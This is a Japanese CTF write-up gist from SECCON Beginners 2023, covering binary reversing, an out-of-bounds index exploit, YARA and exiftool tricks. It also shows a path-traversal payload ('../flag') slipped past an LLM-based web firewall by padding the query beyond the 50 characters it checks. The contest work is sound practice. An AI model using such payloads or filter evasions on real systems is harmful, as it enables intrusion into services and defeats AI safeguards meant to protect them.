Skip to content

Instantly share code, notes, and snippets.

@hassaku63
Last active June 4, 2023 05:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hassaku63/851f7ab648688e992a57e5ea50400afa to your computer and use it in GitHub Desktop.
Save hassaku63/851f7ab648688e992a57e5ea50400afa to your computer and use it in GitHub Desktop.
SECCON Beginners CTF 2023

URL: https://score.beginners.seccon.jp/

今回 CTF 初挑戦だったので、やってたこと、考えてたことなどを雑にメモっていく場所。

マジで何もわかっていないで書いてるので、(これを見てしまった人向けに)正解にたどり着きたい人、参考情報を得たい人が見るような「資料」じゃないことを予め断っておく。

自分が何考えてたのかをある程度 dump したものであって、バックグラウンドを理解して書いてるものではない。

競技日程

2023/06/03(土) 14:00 JST - 2023/06/04(日) 14:00 JST

競技形式

Jeopardy形式

ルール

  1. 得点はチーム毎に集計します。集計にはダイナミックスコアリング方式(多くのチームが解いた問題ほど点数が低くなるような方式)を用います。
  2. 原則競技中には問題の追加を行いません。問題の設定ミスなどが発覚した場合には、例外的に修正版の問題が公開される場合があります。
  3. フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。
  4. 誤った解答を短時間の内に何度も送信した場合は、当該チームからの回答を一定時間受け付けない状態(ロック状態)になる場合があります。またこの状態でさらに不正解を送信し続けた場合はロックされる時間がさらに延長される可能性があります。

禁止事項

  1. 他チームへの妨害行為
  2. 他チームの回答などをのぞき見する行為
  3. 他者への攻撃的な発言 (暴言 / 誹謗中傷 / 侮辱 / 脅迫 / ハラスメント行為など)
  4. 自チームのチーム登録者以外に問題・ヒント・解答を教えること
  5. 自チームのチーム登録者以外からヒント・解答を得ること(ただし運営者が全員に与えるものを除く)
  6. 設問によって攻撃が許可されているサーバ、ネットワーク以外への攻撃
  7. 競技ネットワーク・サーバなどの負荷を過度に高める行為(リモートから総当たりをしないと解けない問題はありません!)
  8. その他、運営を阻害する行為

不正行為が発見された場合、運営側の裁量によって減点・失格などのペナルティがチームに対して課せられます。大会後に発覚した場合も同様とします。

特記事項

  1. 出題内容や開催中のアナウンスは原則日本語としますが、問題中で英語が用いられる場合があります。
  2. チーム人数に制限はありません。お一人でも、数十人でも、お好きな人数でチームを作成していただいて構いません。
  3. 本大会では上位チームへの賞金・賞状の授与等は行いません。
  4. SECCON CTF への出場権とは一切の関係がありませんので、ご注意ください。
@hassaku63
Copy link
Author

docer compose 内部の環境変数を見てみる

$ env
NODE_VERSION=19.9.0
HOSTNAME=17046baddee2
YARN_VERSION=1.22.19
SHLVL=1
HOME=/home/ctf4b
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
CTF4B_HOST=0.0.0.0
CTF4B_FLAG=ctf4b{FAKE_FLAG_DO_NOT_SUBMIT}
PWD=/app
CTF4B_PORT=8080

どうにかして環境変数を取得する方法があるか?という問題になる。

Web アプリフレームワークはデフォルトだとデバッグ用のエンドポイントを公開していたりするはずなので、その線を調べてみる。

@hassaku63
Copy link
Author

ChatGPT さん

あなたが提供したコードでは、block 関数がパスに /flag が含まれている場合に403エラーを返すようにしています。しかし、このチェックは req.path を直接使用しており、エンコードされたパスを検討していません。これを利用した攻撃の一例として、URLエンコードを使用して /flag をバイパスする方法があります。

具体的には、以下のようなリクエストを送信することでバリデーションをすり抜けることが可能です。

GET /%66lag

これは通らず。404っぽい?

@hassaku63
Copy link
Author

攻撃手法を調べてみるがピンとくるやつがない(というかわからない)

方法としては何かしらのインジェクションとかトラバーサル、あるいは設定不備でデバッグページを出す(ことで環境変数を print させる)だと思っているんだけど、

インジェクションぽいことができそうなロジックがわからん。

後回しの方がいいかも

@hassaku63
Copy link
Author

Three

とりあえず strings してみる

$ strings three 
/lib64/ld-linux-x86-64.so.2
libc.so.6
__isoc99_scanf
puts
printf
strlen
__cxa_finalize
__libc_start_main
GLIBC_2.7
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
VUUUH
VUUUH
VUUUH
VUUUH
VUUUH
[]A\A]A^A_
Invalid FLAG
Correct!
Enter the FLAG: 
%49s
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8061
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
main.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
flag_2
validate_flag
flag_0
_edata
strlen@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
flag_1
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

EC2 ubuntu 実行してみるとプロンプトが表示された。とりあえず実行できる状態になっていることがわかった。

radare2 というのを使ってみる。

https://github.com/radareorg/radare2

@hassaku63
Copy link
Author

hassaku63 commented Jun 3, 2023

シンボル見てみる

is
[Symbols]
nth paddr      vaddr          bind   type   size lib name                                   demangled
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
1   0x00000318 0x5580b2977318 LOCAL  SECT   0        .interp
2   0x00000338 0x5580b2977338 LOCAL  SECT   0        .note.gnu.property
3   0x00000358 0x5580b2977358 LOCAL  SECT   0        .note.gnu.build-id
4   0x0000037c 0x5580b297737c LOCAL  SECT   0        .note.ABI-tag
5   0x000003a0 0x5580b29773a0 LOCAL  SECT   0        .gnu.hash
6   0x000003c8 0x5580b29773c8 LOCAL  SECT   0        .dynsym
7   0x000004b8 0x5580b29774b8 LOCAL  SECT   0        .dynstr
8   0x00000562 0x5580b2977562 LOCAL  SECT   0        .gnu.version
9   0x00000578 0x5580b2977578 LOCAL  SECT   0        .gnu.version_r
10  0x000005a8 0x5580b29775a8 LOCAL  SECT   0        .rela.dyn
11  0x00000668 0x5580b2977668 LOCAL  SECT   0        .rela.plt
12  0x00001000 0x5580b2978000 LOCAL  SECT   0        .init
13  0x00001020 0x5580b2978020 LOCAL  SECT   0        .plt
14  0x00001070 0x5580b2978070 LOCAL  SECT   0        .plt.got
15  0x00001080 0x5580b2978080 LOCAL  SECT   0        .plt.sec
16  0x000010c0 0x5580b29780c0 LOCAL  SECT   0        .text
17  0x000013e8 0x5580b29783e8 LOCAL  SECT   0        .fini
18  0x00002000 0x5580b2979000 LOCAL  SECT   0        .rodata
19  0x0000212c 0x5580b297912c LOCAL  SECT   0        .eh_frame_hdr
20  0x00002178 0x5580b2979178 LOCAL  SECT   0        .eh_frame
21  0x00002da0 0x5580b297ada0 LOCAL  SECT   0        .init_array
22  0x00002da8 0x5580b297ada8 LOCAL  SECT   0        .fini_array
23  0x00002db0 0x5580b297adb0 LOCAL  SECT   0        .dynamic
24  0x00002fa0 0x5580b297afa0 LOCAL  SECT   0        .got
25  0x00003000 0x5580b297b000 LOCAL  SECT   0        .data
26  ---------- 0x00004010     LOCAL  SECT   0        .bss
27  0x00000000 0x5580b2977000 LOCAL  SECT   0        .comment
28  0x00000000 0x5580b2977000 LOCAL  FILE   0        crtstuff.c
29  0x000010f0 0x5580b29780f0 LOCAL  FUNC   0        deregister_tm_clones
30  0x00001120 0x5580b2978120 LOCAL  FUNC   0        register_tm_clones
31  0x00001160 0x5580b2978160 LOCAL  FUNC   0        __do_global_dtors_aux
32  ---------- 0x00004010     LOCAL  OBJ    1        completed.8061
33  0x00002da8 0x5580b297ada8 LOCAL  OBJ    0        __do_global_dtors_aux_fini_array_entry
34  0x000011a0 0x5580b29781a0 LOCAL  FUNC   0        frame_dummy
35  0x00002da0 0x5580b297ada0 LOCAL  OBJ    0        __frame_dummy_init_array_entry
36  0x00000000 0x5580b2977000 LOCAL  FILE   0        main.c
37  0x00000000 0x5580b2977000 LOCAL  FILE   0        crtstuff.c
38  0x0000229c 0x5580b297929c LOCAL  OBJ    0        __FRAME_END__
39  0x00000000 0x5580b2977000 LOCAL  FILE   0
40  0x00002da8 0x5580b297ada8 LOCAL  NOTYPE 0        __init_array_end
41  0x00002db0 0x5580b297adb0 LOCAL  OBJ    0        _DYNAMIC
42  0x00002da0 0x5580b297ada0 LOCAL  NOTYPE 0        __init_array_start
43  0x0000212c 0x5580b297912c LOCAL  NOTYPE 0        __GNU_EH_FRAME_HDR
44  0x00002fa0 0x5580b297afa0 LOCAL  OBJ    0        _GLOBAL_OFFSET_TABLE_
45  0x00001000 0x5580b2978000 LOCAL  FUNC   0        _init
46  0x000013e0 0x5580b29783e0 GLOBAL FUNC   5        __libc_csu_fini
48  0x00003000 0x5580b297b000 WEAK   NOTYPE 0        data_start
50  0x000020c0 0x5580b29790c0 GLOBAL OBJ    64       flag_2
51  0x000011a9 0x5580b29781a9 GLOBAL FUNC   376      validate_flag
52  0x00002020 0x5580b2979020 GLOBAL OBJ    68       flag_0
53  ---------- 0x00004010     GLOBAL NOTYPE 0        _edata
54  0x000013e8 0x5580b29783e8 GLOBAL FUNC   0        _fini
58  0x00003000 0x5580b297b000 GLOBAL NOTYPE 0        __data_start
60  0x00003008 0x5580b297b008 GLOBAL OBJ    0        __dso_handle
61  0x00002000 0x5580b2979000 GLOBAL OBJ    4        _IO_stdin_used
62  0x00001370 0x5580b2978370 GLOBAL FUNC   101      __libc_csu_init
63  ---------- 0x00004018     GLOBAL NOTYPE 0        _end
64  0x000010c0 0x5580b29780c0 GLOBAL FUNC   47       _start
65  0x00002080 0x5580b2979080 GLOBAL OBJ    64       flag_1
66  ---------- 0x00004010     GLOBAL NOTYPE 0        __bss_start
67  0x00001321 0x5580b2978321 GLOBAL FUNC   67       main
69  ---------- 0x00004010     GLOBAL OBJ    0        __TMC_END__
1   0x00000000 0x5580b2977000 WEAK   NOTYPE 16       imp._ITM_deregisterTMCloneTable
2   0x00001080 0x5580b2978080 GLOBAL FUNC   16       imp.puts
3   0x00001090 0x5580b2978090 GLOBAL FUNC   16       imp.strlen
4   0x000010a0 0x5580b29780a0 GLOBAL FUNC   16       imp.printf
5   0x00000000 0x5580b2977000 GLOBAL FUNC   16       imp.__libc_start_main
6   0x00000000 0x5580b2977000 WEAK   NOTYPE 16       imp.__gmon_start__
7   0x000010b0 0x5580b29780b0 GLOBAL FUNC   16       imp.__isoc99_scanf
8   0x00000000 0x5580b2977000 WEAK   NOTYPE 16       imp._ITM_registerTMCloneTable
9   0x00000000 0x5580b2977000 WEAK   FUNC   16       imp.__cxa_finalize

関係ありそうなのはこのへん

nth paddr      vaddr          bind   type   size lib name                                   demangled
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
50  0x000020c0 0x5580b29790c0 GLOBAL OBJ    64       flag_2
51  0x000011a9 0x5580b29781a9 GLOBAL FUNC   376      validate_flag
52  0x00002020 0x5580b2979020 GLOBAL OBJ    68       flag_0
65  0x00002080 0x5580b2979080 GLOBAL OBJ    64       flag_1

is コマンドはシンボルの表示

is?
| is                 list the Symbols
| is,[table-query]   list symbols in table using given expression
| is.                current symbol

flag 変数らしきものにシークして値を確認する

まずは flag_0 (size=68)

> pc 68
#define _BUFFER_SIZE 68
const uint8_t buffer[_BUFFER_SIZE] = {
  0x63, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x63, 0x00,
  0x00, 0x00, 0x5f, 0x00, 0x00, 0x00, 0x75, 0x00, 0x00, 0x00,
  0x62, 0x00, 0x00, 0x00, 0x5f, 0x00, 0x00, 0x00, 0x5f, 0x00,
  0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00,
  0x5f, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x5f, 0x00,
  0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x5f, 0x00, 0x00, 0x00,
  0x34, 0x00, 0x00, 0x00, 0x7d, 0x00, 0x00, 0x00
};

この数字の列を python で文字起こし。

x = [ ... ]
print(''.join(list(map(chr, x))))
# c4c_ub__dt_r_1_4}

同様に flag_1

[0x5580b2979020]> s 0x5580b2979080
[0x5580b2979080]> pc 64
#define _BUFFER_SIZE 64
const uint8_t buffer[_BUFFER_SIZE] = {
  0x74, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x34, 0x00,
  0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x5f, 0x00, 0x00, 0x00,
  0x31, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x75, 0x00,
  0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00,
  0x74, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00, 0x00, 0x73, 0x00,
  0x00, 0x00, 0x69, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00,
  0x67, 0x00, 0x00, 0x00
};
>>> print(''.join(list(map(chr, x))))
# tb4y_1tu04tesifg

flag_2

[0x5580b2979080]> s 0x5580b29790c0
[0x5580b29790c0]> pc 64
#define _BUFFER_SIZE 64
const uint8_t buffer[_BUFFER_SIZE] = {
  0x66, 0x00, 0x00, 0x00, 0x7b, 0x00, 0x00, 0x00, 0x6e, 0x00,
  0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00,
  0x65, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x6e, 0x00,
  0x00, 0x00, 0x5f, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00, 0x00,
  0x34, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00, 0x00, 0x70, 0x00,
  0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00,
  0x33, 0x00, 0x00, 0x00
};
>>> print(''.join(list(map(chr, x))))
f{n0ae0n_e4ept13

それっぽい素材は出てきたが、これらを組み合わせてもフラグのフォーマットにはならないのでロジックを解析する必要がありそう

@hassaku63
Copy link
Author

ChatGPT に objdump で出力した validate_flag を読ませてみた

回答は以下

この validate_flag 関数は、引数として与えられた文字列が正しいフラグかどうかを検証する関数のようです。ここでのフラグはおそらく特定の値を持つ文字列と考えられます。以下に各ステップを詳述します。

  1. 関数の初めでは、引数(%rdi)をスタックに保存し、その長さを strlen でチェックします。
  2. 関数はフラグが長さ31の文字列であることを期待しています。そうでなければ、何かメッセージ(その内容は未知ですが、おそらくエラーメッセージ)を表示し、1を返します。
  3. フラグが正しい長さである場合、コードはフラグの各文字を検証します。ループカウンタ(初期値は0)を設定し、フラグの各文字に対して次の処理を実行します。
  4. ループカウンタを3で割った余りを計算します。
  5. 余りが0の場合、フラグの該当文字は flag_0 配列から得られるべき値と一致することを期待します。
  6. 余りが1の場合、フラグの該当文字は flag_1 配列から得られるべき値と一致することを期待します。
  7. 余りが2の場合、フラグの該当文字は flag_2 配列から得られるべき値と一致することを期待します。
  8. フラグの各文字が期待した値と一致する場合、ループは次の文字に移ります。そうでない場合、関数は何かのメッセージを表示し、1を返します。
  9. フラグのすべての文字が期待通りの値である場合、関数は何かのメッセージを表示し、0を返します。

この関数がどのようにフラグを検証するかは、flag_0、flag_1、flag_2 配列の内容に大きく依存します。おそらく、これらはフラグを検証するための特定のパターンを含んでいるでしょう。

@hassaku63
Copy link
Author

hassaku63 commented Jun 3, 2023

ChatGPT の回答と、flag_0 - 2 を見てみる

c4c_ub__dt_r_1_4}
tb4y_1tu04tesifg
f{n0ae0n_e4ept13

1文字ずつ拾っていけばそれっぽい文字列になるように見えてくる。Python で組み立てる。

>>> x = ['c4c_ub__dt_r_1_4}',
'tb4y_1tu04tesifg',
'f{n0ae0n_e4ept13']

>>> x
['c4c_ub__dt_r_1_4}', 'tb4y_1tu04tesifg', 'f{n0ae0n_e4ept13']

>>> tmp = list(zip(*x))

>>> from functools import reduce
>>> tmp
[('c', 't', 'f'), ('4', 'b', '{'), ('c', '4', 'n'), ('_', 'y', '0'), ('u', '_', 'a'), ('b', '1', 'e'), ('_', 't', '0'), ('_', 'u', 'n'), ('d', '0', '_'), ('t', '4', 'e'), ('_', 't', '4'), ('r', 'e', 'e'), ('_', 's', 'p'), ('1', 'i', 't'), ('_', 'f', '1'), ('4', 'g', '3')]

>>> reduce(lambda a,b: a+b, tmp)
('c', 't', 'f', '4', 'b', '{', 'c', '4', 'n', '_', 'y', '0', 'u', '_', 'a', 'b', '1', 'e', '_', 't', '0', '_', 'u', 'n', 'd', '0', '_', 't', '4', 'e', '_', 't', '4', 'r', 'e', 'e', '_', 's', 'p', '1', 'i', 't', '_', 'f', '1', '4', 'g', '3')

>>> ''.join(reduce(lambda a,b: a+b, tmp))
'ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3'

最後の閉じカッコだけが抜けているので、それを補完して回答。

@hassaku63
Copy link
Author

CoughingFox2

元の数列が x で暗号化された数列が y とすると、

y[i] から 0 - (len(y) + 1) までの数字を引いた場合になにかしら整数値の2乗になっていることがわかる

すべての y[i] についてそれをしらみつぶしに探索すると、すべての y[i] は整数値で平方根が取れるパターンがただ1つだけ存在することがわかった。

よって、平方根が計算できた際の i の値を添え字として並べ替えすることで y'[i] = x[i] + x[i+1] の状態までは系列を復元できる。

問題の条件より x[0] は c と決まっている。これは、フラグは ctf4b で始まる文字列であるため。

x[0] と y が所与であればすべての x[i] は計算可能。

x[i] = y[i+1] - x[i+1]

この結果得られた x を文字に変換すればよい。

# x = [ ... ]

result = map(chr, x)

print(''.join(result))

@hassaku63
Copy link
Author

poem

コードが対した量じゃないので、ひとまず ChatGPT にコードを読ませて実装内容を解説させてみる


以下はCTF pwnable 問題のコードです。
このコードの実装内容を解説してください

(以下コードスニペット)

このC言語のコードは、ユーザに数字を入力させて該当する詩を表示するプログラムですが、その実装には脆弱性が含まれています。

まずは、大まかなプログラムの動作について解説します。

プログラムが起動すると、初めに__attribute__((constructor))アノテーションが付いたinit関数が呼び出されます。この関数では標準入力(stdin)と標準出力(stdout)のバッファリングを無効にし、また60秒後にプログラムを強制終了するalarm関数を設定します。

次に、main関数が実行されます。ユーザに数字を入力させ、その数字に対応した詩を表示します。数字は0から4の範囲内であることが期待されています。

このプログラムの脆弱性は、配列poemへのアクセスにあります。scanf関数でユーザから入力を受け取り、その値を直接配列poemのインデックスとして使用しています。しかし、この値の範囲をチェックする際に、負の値や大きすぎる値に対するチェックが行われていません。したがって、ユーザは5以上の数値や負の数値を入力することで配列の範囲外にアクセスでき、これにより意図しないメモリ領域の内容を読み出すことが可能になります。

CTF(Capture The Flag)のpwnable問題では、このような脆弱性を突くことでフラグと呼ばれる秘密の文字列を読み出すことが目指されます。このコードの場合、"ctf4b{CENSORED}"というフラグを格納している変数flagをユーザが適切な入力を通じて読み出すことが問題の目的となるでしょう。

バッファオーバーフローだろうなというのはなんとなく察しがつくので、先に知らない文法を聞いてみた。

アノテーションとはどういったものですか?
今回のコードで実装されている内容だとどのような意味になりますか?

アノテーションとは、プログラムのコードにメタデータを追加するための手段の一つで、その言語のコンパイラやインタプリタに特定の振る舞いをさせるために使われます。アノテーションは一般的にはプログラムの動作そのものを変更しませんが、コンパイル時や実行時の振る舞いに影響を与えることがあります。

今回のC言語のコードにおいて__attribute__((constructor))というアノテーションが使われています。このアノテーションは、GNU C Compiler (GCC) の機能で、その関数をプログラムのメイン関数が実行される前に実行させるという意味を持ちます。

具体的には、init関数に__attribute__((constructor))アノテーションがつけられているため、この関数はプログラムが開始するとすぐに呼び出されます。この関数では標準入力と標準出力のバッファリングが無効化され、また60秒後にプログラムが終了するように設定されています。このように、attribute((constructor))アノテーションはプログラムの初期設定を行うために利用することができます。

このアノテーションはGCC特有のものであり、他のC言語のコンパイラでは利用できない可能性がある点に注意が必要です。

@hassaku63
Copy link
Author

setvbuf について。

https://www.ibm.com/docs/ja/i/7.3?topic=functions-setvbuf-control-buffering

書かれている内容・現実装と AI の回答に齟齬はなさそう。

alarm も SIGALARM を呼び出す仕様とあり、AI の回答とあってそう。

https://linuxjm.osdn.jp/html/LDP_man-pages/man2/alarm.2.html

@hassaku63
Copy link
Author

たぶん、scanf した直後のバリデーション通ってから人為的に n を書き換えてあげたら flag を見にいけるんじゃないか?と思った

負の数をチェックしてないのでそこを突けそう。

radare2 でシンボル確認してみる。EC2 にソースだけ転送してコンパイルし直してるので、微妙に結果が変わるかも?

66  ---------- 0x00004068 GLOBAL NOTYPE 0        __bss_start
67  0x000011e9 0x000011e9 GLOBAL FUNC   135      main
69  0x00003040 0x00004040 GLOBAL OBJ    40       poem
71  ---------- 0x00004068 GLOBAL OBJ    0        __TMC_END__
73  0x00003020 0x00004020 GLOBAL OBJ    8        flag

長さ5の配列で、ポインタは 8byte っぽい。で、n が 5 で通るように仕向けられれば良さそう?という感じに見える。

@hassaku63
Copy link
Author

printf("size: %lu\n", sizeof(int));
// size: 4

手元の Mac では入力は4byte ということになる。

試しに 4byte ではオーバーフローして 0 になる数値を入れてみる。

In [23]: 2 ** 32
Out[23]: 4294967296
nc poem.beginners.seccon.games 9000
Number[0-4]: 4294967296
// In the depths of silence, the universe speaks.

ということで 0 を入力した場合と同じように反応する。

ここから 4byte 戻せばおそらく flag (ポインタ型なのでこれも 4byte であろうと予想) を見に行くであろうと仮説を立ててみる。

4294967296 - 4 = 4294967292 を渡す。

nc poem.beginners.seccon.games 9000
Number[0-4]: 4294967292
// ctf4b{xxxxxxxxxx}

ということで回答らしきものが出てきた。

@hassaku63
Copy link
Author

YARO

CTF っぽい依存関係があるっぽい

https://pypi.org/project/yara-python/
https://pypi.org/project/pwntools/

timeout-decorator はだいたい想像つくのでOK

yara-python は yara というツールを python から使えるようにしたものっぽい。

ChatGPT に聞いてみた

yara というツールについて、教えてください

YARAは、特定のマルウェアを識別し、分類するためのルールベースのツールです。YARAは、パターンマッチングエンジンとして広く使われ、それを用いてマルウェアサンプルの特徴や動作パターンを定義することが可能です。

YARAのルールは、テキストベースで、複数のセクション(メタデータ、ルール本体、文字列定義)を持つことが一般的です。これにより、高度にカスタマイズ可能なマルウェア検出を可能にしています。

これらのルールは、対象のバイナリファイルやスクリプト中に存在する特定の文字列パターン、バイトシーケンス、あるいはその他の特性に対してマッチングを行います。マッチしたルールはマルウェアの特性やタイプを示すもので、これを用いて詳細な分析や対策を行うことができます。

YARAは情報セキュリティコミュニティで広く利用されており、サイバーセキュリティの専門家たちは、新たな脅威を特定し、分析し、追跡するためにYARAルールを作成および共有します。

@hassaku63
Copy link
Author

hassaku63 commented Jun 3, 2023

適当にルール書いてみたけどなんか違うらしい

rule ctf_string {
    strings:
        $ctf_flag /ctf4b{[0x21-0x7e\s]+}/
    condition:
        $ctf_flag
}

@hassaku63
Copy link
Author

こういう Rule にしたら引っかかった

rule ctf_string {
    strings:
        $ctf_flag = /ctf4b/
    condition:
        $ctf_flag
}
OK. Now I find the malware from this rule:
rule ctf_string {
    strings:
        $ctf_flag = /ctf4b/
    condition:
        $ctf_flag
}
Not found: ./redir.sh
Not found: ./server.py
Found: ./flag.txt, matched: [ctf_string]
Not found: ./requestments.txt

たぶん、flag.txt の中が見れればいいんじゃないかという気がする

@hassaku63
Copy link
Author

hassaku63 commented Jun 3, 2023

ChatGPT さんに直してもらった。

以下のルールは、正しい記述ですか?

rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[0x21-0x7e\s]+}/
    condition:
        $ctf_flag
}

回答:

このルール自体は構文的には正しく、特定の正規表現パターンを探すYARAルールとして機能します。しかしながら、正規表現に小さな問題があります。

ここで指定されている正規表現 /ctf4b{[0x21-0x7e\s]+}/ は、ctf4b{} の中に ASCII コードの範囲 0x21("!")から 0x7E("~")またはスペース文字(\s)が1回以上繰り返される文字列を探します。これは、ASCIIの印字可能な文字(スペース含む)をマッチすることを意図していると思われます。

しかしながら、正規表現での文字クラス([] 内の範囲)においては、16進数表記(0x21 や 0x7e)は使えません。印字可能な ASCII 文字の範囲は [\x20-\x7E] のように表現されます。したがって、このルールを意図通りに動作させるためには、正規表現を次のように修正すべきです:

rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[\x20-\x7e]+}/
    condition:
        $ctf_flag
}

この修正後のルールは、印字可能なASCII文字(スペース含む)が1つ以上続く ctf4b{} 形式の文字列を検出します。

これで引っかかりはする模様

$ nc yaro.beginners.seccon.games 5003

rule:
rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[\x20-\x7e]+}/
    condition:
        $ctf_flag
}

OK. Now I find the malware from this rule:
rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[\x20-\x7e]+}/
    condition:
        $ctf_flag
}
Not found: ./redir.sh
Not found: ./server.py
Found: ./flag.txt, matched: [ctf_string]
Not found: ./requestments.txt

@hassaku63
Copy link
Author

YARO は一旦諦めた。

たぶん flag.txt の中身を取り出せればいいんだろうと思うのだが、

サーバーサイドを変更しないでそれを実現できる方法がわからない

@hassaku63
Copy link
Author

polyglot4b

コードを見てみると、入力されたデータが file コマンドで判定したときに JPG, PNG, GIF, TXT の全てにマッチするようなコンテンツになれば良い、という風に読める

ChatGPT さんに聞いてみた

file コマンドの結果が、以下の4つの文字列を同時に含むようなファイルは作成可能ですか?

JPG
PNG
GIF
TXT

file コマンドは、ファイルの内容を分析してその種類を推測します。それぞれのファイルタイプ(JPG、PNG、GIF、TXT)は特定の形式と構造を持ち、それぞれが異なるバイナリシグネチャ(ファイルヘッダ)を持ちます。

したがって、異なるファイルタイプを一つのファイルに混在させることは通常は不可能で、file コマンドが一つのファイルに対して「JPG」「PNG」「GIF」「TXT」の全てを同時に返すことは無いと思われます。このコマンドはファイルの先頭部分を読み取ることでそのファイルタイプを決定します。

しかしながら、特殊なシナリオとしては、特定のファイルフォーマットが他の複数のファイルタイプを内包するような形で設計されている場合があります。例えば、一部のアーカイブファイルやコンテナフォーマットは複数のファイルタイプを一つのファイル内に保持することが可能です。それでも、file コマンドがこれらを正しく解釈し、一つのファイルに対して複数のファイルタイプを示すような挙動はしないはずです。

要約すると、file コマンドが「JPG」「PNG」「GIF」「TXT」を同時に返すような一つのファイルを作成することは不可能と言ってよいでしょう。

@hassaku63
Copy link
Author

file コマンドでサンプルファイル見てみた。

$ file -bkr sample/sushi.jpg               
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3 - data

description が自由記述できそうなので、ここに介入できればいいんじゃない?という発想になった。

@hassaku63
Copy link
Author

ChatGPT に聞いた。

jpeg ファイルの description を参照でき、かつ書き換えできる方法を教えてください。
コマンドラインツールか、Python を使ってください。

Pillow の実装を紹介してくれたが、dict で取得した Exif 情報を変更して書き込もうとすると dict は対応してないというエラーが出た。
エンコードするのも面倒なので CLI ベースの手法にする。

@hassaku63
Copy link
Author

exiftool で description を取得してみる。

$ exiftool -s -s -s -description sample/sushi.jpg      
CTF4B
$ cp sample/sushi.jpg out.jpg

$ exiftool -description="JPEG PNG GIF TXT" out.jpg
    1 image files updated

$ file -bkr out.jpg 
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3
- data

@hassaku63
Copy link
Author

以下のコマンドでいい感じになった。

$ exiftool -ImageDescription="JPEG PNG GIF ASCII" out2.jpg
    1 image files updated

$ file -bkr out2.jpg
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=JPEG PNG GIF ASCII], baseline, precision 8, 1404x790, components 3
- data
$ cat out2.jpg| nc polyglot4b.beginners.seccon.games 31416

@hassaku63
Copy link
Author

aiwaf

プロンプトハックかと思ったら、そうでもなかった。

プロンプトを構成しているのが以下のテキスト。

prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""

なので、50文字以降にトラバーサルのクエリが来ればOK。

例えばこんな感じ。

https://aiwaf.beginners.seccon.games/?text=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&file=../flag

@hassaku63
Copy link
Author

hassaku63 commented Jun 3, 2023

rewriter2

コードを見た感じ、32byte の入力を2回行うことで、
あるいは2回行った後の __show_stack() でバッファオーバーフローが発生するようにしてくれ、という問題らしい

方法については ChatGPT に聞いてみた。

CTFのpwnable問題を解いています。
C言語で書かれたプログラムが手元にあります。


バッファオーバーフローを利用して、main 関数から直接呼び出されていない関数を呼び出すにはどういった方法がありますか?

呼び出したい関数のシグネチャは以下とします。
void win();

CTF (Capture The Flag) の pwnable 問題では、様々なバイナリエクスプロイト手法を使って、通常は呼び出されない関数を呼び出す、あるいは任意のコードを実行することが求められます。

あなたが述べたように、特定の関数(この場合 void win();)を呼び出すための一般的な手法はバッファオーバーフローを使うことです。

バッファオーバーフローを利用してプログラムのフローを制御する手法としては、主に次の2つがあります。

  1. スタックバッファオーバーフロー (Stack Buffer Overflow):
